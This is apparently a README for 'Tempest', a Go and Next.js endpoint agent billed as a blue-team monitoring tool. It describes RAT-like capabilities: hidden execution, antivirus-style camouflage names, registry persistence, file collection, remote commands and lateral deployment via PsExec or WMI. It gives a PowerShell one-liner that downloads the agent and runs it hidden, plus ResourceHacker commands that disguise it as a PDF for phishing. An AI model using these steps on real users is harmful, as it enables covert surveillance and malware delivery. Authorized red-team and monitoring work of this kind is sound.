⚡ Tempest

Security Endpoint Monitoring & Response — see through the storm.

Deploy a lightweight Go agent to every Windows endpoint. Watch each device report in to a single console in real time — security posture, running processes, open connections, persistence entries, and screenshots — then respond: isolate, terminate, remediate, or roll back, all without touching the keyboard of the target machine.

🚀 Quickstart · ✨ Features · ⚙️ Architecture · 📖 Console Guide · 🛠️ Build Agent · 📦 Packaging · ⚠️ Disclaimer

---

🧩 The Problem

Blue teams and security operators often have no single pane of glass for what's happening across their Windows endpoints right now. You know an alert fired, but you don't know if the process is still running, which account spawned it, or whether persistence was established — without SSHing in or deploying a full EDR suite.

Tempest is a self-hosted, lightweight alternative: a compact Go agent runs silently on each endpoint, streams telemetry to a central Next.js console, and gives the operator live visibility plus a direct response capability — all from a browser tab, with no third-party cloud required.

⚠️ Tempest is an authorized-use-only security operations tool. Deploy it only on networks and devices you own or are explicitly permitted to monitor. See DISCLAIMER.md.

✨ Key Features

Agent (Go, Windows)

• 🤫 Silent deployment — runs as a hidden background process; camouflage filenames (antivirus.exe / avupdater.exe) for realistic lab environments.
• 🩺 Security posture scoring — device auto-classified A/B/C/D based on privilege level and real-time AV status (Windows Defender telemetry).
• 📡 Continuous telemetry — heartbeat, OS info, local IP, uptime, logged-in user, admin status, AV state, software inventory, listening ports, active network connections, persistence entries (registry Run keys, Startup folder, scheduled tasks, services, Winlogon).
• 🔔 Automatic alerts — new account creation, privilege escalation, and network/posture anomalies surfaced as push alerts to the console.
• 🔐 Encrypted transport — AES-256 encrypted payloads; payload header mutation on each build for uniqueness.
• 🔁 Self-persistence — optional registry persistence and watchdog process to survive reboots and accidental termination.
• 🛠️ In-field rebuild — console can cross-compile a fresh agent binary with the correct collector URL embedded at runtime (no manual Go setup on endpoints).

Console (Next.js + PostgreSQL)

• 🖥️ Live device grid — all registered endpoints with posture class, last seen, OS, IP, user, and AV status; auto-refreshes every 15 s.
• 🔔 Alert centre — timestamped, severity-tagged alerts from all agents in one view.
• 📊 Deep-dive per device — System Overview · Software Audit · Listening Ports · Active Connections · Persistence & Autorun · Command History.
• 📸 Live screenshot — on-demand capture and gallery, stored on the server.
• 📂 Remote file manager — browse the endpoint's filesystem, collect individual files to the server.
• ⚙️ Process control — live process list with PID, name, CPU, user; kill any process remotely.
• 🌐 Network isolation — one click cuts all outbound/inbound traffic on the target (Windows Firewall block-all), keeping only the collector tunnel open; reversible from the console.
• 🔧 Agent control — dormant mode (pause telemetry), re-enable, full uninstall + self-cleanup, or rollback to a previous binary.
• 🖱️ Remote RDP / privilege panel — enable RDP with NLA, manage local admin group, lock screen, force reboot or shutdown.
• 💻 Audit console — send arbitrary cmd.exe / PowerShell commands, see output inline; full per-device command history.
• 🔍 Network discovery — passive ARP + active ICMP/port sweep of the operator's local subnets; one-click agent deployment to discovered hosts via PsExec, WMI, or SCP.
• 🎯 Simulation & Compliance Map — run/replay attack simulations and map findings against a compliance checklist.
• 🛠️ In-console agent builder — compile a custom tempest_agent.exe (with embedded URL) directly from the browser; file served for immediate download and lateral deployment.

🖼️ Screenshots

Add screenshots to assets/ and uncomment the lines below.

⚙️ Architecture

 ┌─────────────────────────────────────────────────────────┐
 │                   Operator Browser                       │
 │              Next.js Console  (port 3000)               │
 └──────────────────────┬──────────────────────────────────┘
                        │  REST API  (HTTP/HTTPS)
                        ▼
 ┌─────────────────────────────────────────────────────────┐
 │              Next.js API Routes  (src/web)              │
 │  /api/agent/*  ← agent-facing   (register, heartbeat,  │
 │                                  upload, command-result)│
 │  /api/admin/*  ← operator-facing (devices, alerts,     │
 │                                  commands, build-agent) │
 └──────────────────────┬──────────────────────────────────┘
                        │  pg driver
                        ▼
 ┌─────────────────────────────────────────────────────────┐
 │            PostgreSQL  (tempest_db)                     │
 └─────────────────────────────────────────────────────────┘

 Windows Endpoint A  →  tempest_agent.exe  ──┐
 Windows Endpoint B  →  tempest_agent.exe  ──┤── HTTP polling ──► /api/agent/*
 Windows Endpoint C  →  tempest_agent.exe  ──┘

The agent polls outbound only — the server never initiates a connection to an endpoint. This means agents behind NAT or strict firewalls work without port-forwarding, as long as they can reach the collector URL on port 3000.

💻 System Requirements

Component	Requirement
Console server	Node.js 20+, PostgreSQL 14+, any OS (Linux recommended)
Agent target	Windows 10 / 11, 64-bit
Operator browser	Any modern browser (Chrome / Edge / Firefox)
Agent build (optional)	Go 1.21+ on the console server for in-console compilation

🚀 Quickstart

1 — Database

# Create the database (PostgreSQL must be running)
psql -U postgres -c "CREATE DATABASE tempest_db;"

# Run the schema repair/init script
psql -U postgres -d tempest_db -f src/web/_run/fix_database.sql

Or on Windows, double-click src/web/_run/fix_database.bat.

2 — Console (Next.js)

cd src/web

# Copy and fill environment variables
cp .env.example .env
# Edit .env:
#   DATABASE_URL="postgresql://postgres:<password>@localhost:5432/tempest_db"
#   ADMIN_PRIVATE_KEY_HEX="<your-32-byte-hex-key>"

npm install
npm run dev        # http://localhost:3000
# or for production:
npm run build && npm start

On Windows, double-click src/web/start.bat (wraps npm start with a titled console window).

3 — Agent

Option A — Pre-built binary (lab / quick test)

1. Open the console at http://<server>:3000.
2. Navigate to Build & Deploy Agent.
3. Enter the collector URL (e.g. http://192.168.1.10:3000), click Compile & Download → tempest_agent.exe is downloaded.
4. Copy tempest_agent.exe to the target Windows machine and run it (double-click, or .\tempest_agent.exe in CMD).
5. The device appears in the Devices grid within seconds.

Option B — Build from source (recommended for production)

cd src/agent
go build -ldflags "-s -w -H=windowsgui -X main.DefaultCollectorURL=http://<server>:3000" \
  -o tempest_agent.exe

Copy the resulting tempest_agent.exe to target endpoints and execute.

4 — (Optional) Self-persistence on the agent

From the console, open a device → Agent Control tab → Install Persistence. The agent will write a registry Run key and spawn a watchdog process so it survives reboots automatically.

📖 Console Guide

Device grid

Column	Meaning
Class	Posture class: A (admin, no AV) · B (user, no AV) · C (admin, AV active) · D (user, AV active)
Last seen	Seconds since last heartbeat; turns red when agent appears offline
AV	Windows Defender real-time protection state
User	Currently logged-in user

Click any device row to open its deep-dive panel.

Deep-dive tabs (per device)

Tab	What you see
📊 System Overview	OS, uptime, IP, security score, Defender telemetry, privilege controls
📦 Software Audit	Installed programs list
🔌 Listening Ports	All TCP/UDP ports the endpoint is bound to
🌐 Active Connections	Live netstat — remote IP, state, PID
🔁 Persistence	Registry Run, Startup folder, scheduled tasks, services, Winlogon entries
📋 Command History	Every command sent to this device and its result

Response tabs (per device)

Tab	What you can do
📸 Live Screenshot	Capture now, browse history gallery
📂 File Manager	Browse filesystem tree, collect files to server
⚙️ Process Control	View live process list, kill by PID
🔧 Agent Control	Dormant mode, re-enable, uninstall, rollback binary
🖥️ RDP & Privileges	Enable RDP/NLA, manage local admins, lock screen, reboot/shutdown
💻 Audit Console	Run cmd / PowerShell commands inline

Network Discovery

Navigate to Network Discovery from the top nav. Tempest sweeps the operator's visible subnets (ARP + ICMP + quick port probe), lists each host with open port fingerprint, then offers one-click agent deployment via PsExec, WMI, or SCP depending on what's reachable.

🛠️ Build & Deploy Agent

The in-console builder (/api/admin/build-agent) cross-compiles the Go agent source in src/agent/ using the collector URL you enter, outputs tempest_agent.exe to src/web/public/, and serves it immediately for download or direct pull by discovered hosts:

# Pull and run from a target (PowerShell, one-liner)
$url = 'http://<server>:3000/tempest_agent.exe'
Invoke-WebRequest -Uri $url -OutFile 'C:\Users\Public\tempest_agent.exe'
Start-Process 'C:\Users\Public\tempest_agent.exe' -WindowStyle Hidden

The builder requires Go 1.21+ installed on the console server.

🔒 Security Notes

• Change ADMIN_PRIVATE_KEY_HEX before any deployment — this key protects agent↔server payload integrity. Generate a new one: openssl rand -hex 32
• The console has no built-in authentication. Place it behind a VPN, reverse proxy with HTTP Basic Auth, or a private network segment. Do not expose port 3000 to the public internet.
• Agent traffic is AES-256 encrypted but not TLS by default. For production, put the console behind an HTTPS reverse proxy (Nginx/Caddy).

🗺️ Roadmap

• v4.0 (current) — Go agent with AES-256 transport, posture scoring, network isolation, in-console build, network discovery, file manager, remote commands.
• v4.1 — HTTPS/TLS support built-in, console authentication (JWT), alert webhooks (Slack / email).
• v4.2 — Linux agent port, macOS agent port, multi-operator roles.
• v5.0 — Agent signing & attestation, certificate pinning, full audit trail export (PDF/CSV).

📦 Agent Packaging (Social-Engineering Simulation)

The packaging/ folder contains tooling for disguising the agent binary as a convincing decoy file (e.g. a PDF document) for authorized phishing simulations and physical red-team exercises.

packaging/
├── tempest_agent.exe     base agent binary (before repackaging)
├── ResourceHacker.exe    icon / resource editor
├── pdf.ico               PDF icon — disguise agent as a document
├── commands.txt          ready-to-use ResourceHacker commands
└── STAGING_GUIDE.md      full workflow documentation

Quick example — swap the icon and rename for the engagement:

ResourceHacker.exe -open tempest_agent.exe ^
  -save "Company_Policy_2026.exe" ^
  -action addoverwrite -res pdf.ico -mask ICONGROUP,1,1033

See packaging/STAGING_GUIDE.md for the complete workflow, temp-storage internals, and cleanup procedure.

⚠️ Use only in engagements with explicit written authorization. See DISCLAIMER.md.

🤝 Contributing

Issues and PRs welcome — see CONTRIBUTING.md.

Found a security issue in the platform? Report it via SECURITY.md — please don't open a public issue.

⚠️ Disclaimer

Tempest is for authorized security monitoring and educational use only. Deploy and use this tool only on networks and devices you own or have explicit written permission to monitor. See DISCLAIMER.md.

📄 License

MIT © Abil Khosim.

---

👤 Developed by Abil Khosim

Cybersecurity Specialist

Tempest is an original project by Abil Khosim, an independent security tool by Abil Khosim (NoxNull). Released under the MIT License — © 2026 Abil Khosim. Please keep this attribution when reusing or redistributing.

_{Calm at the center. Total visibility at the edge. ⚡}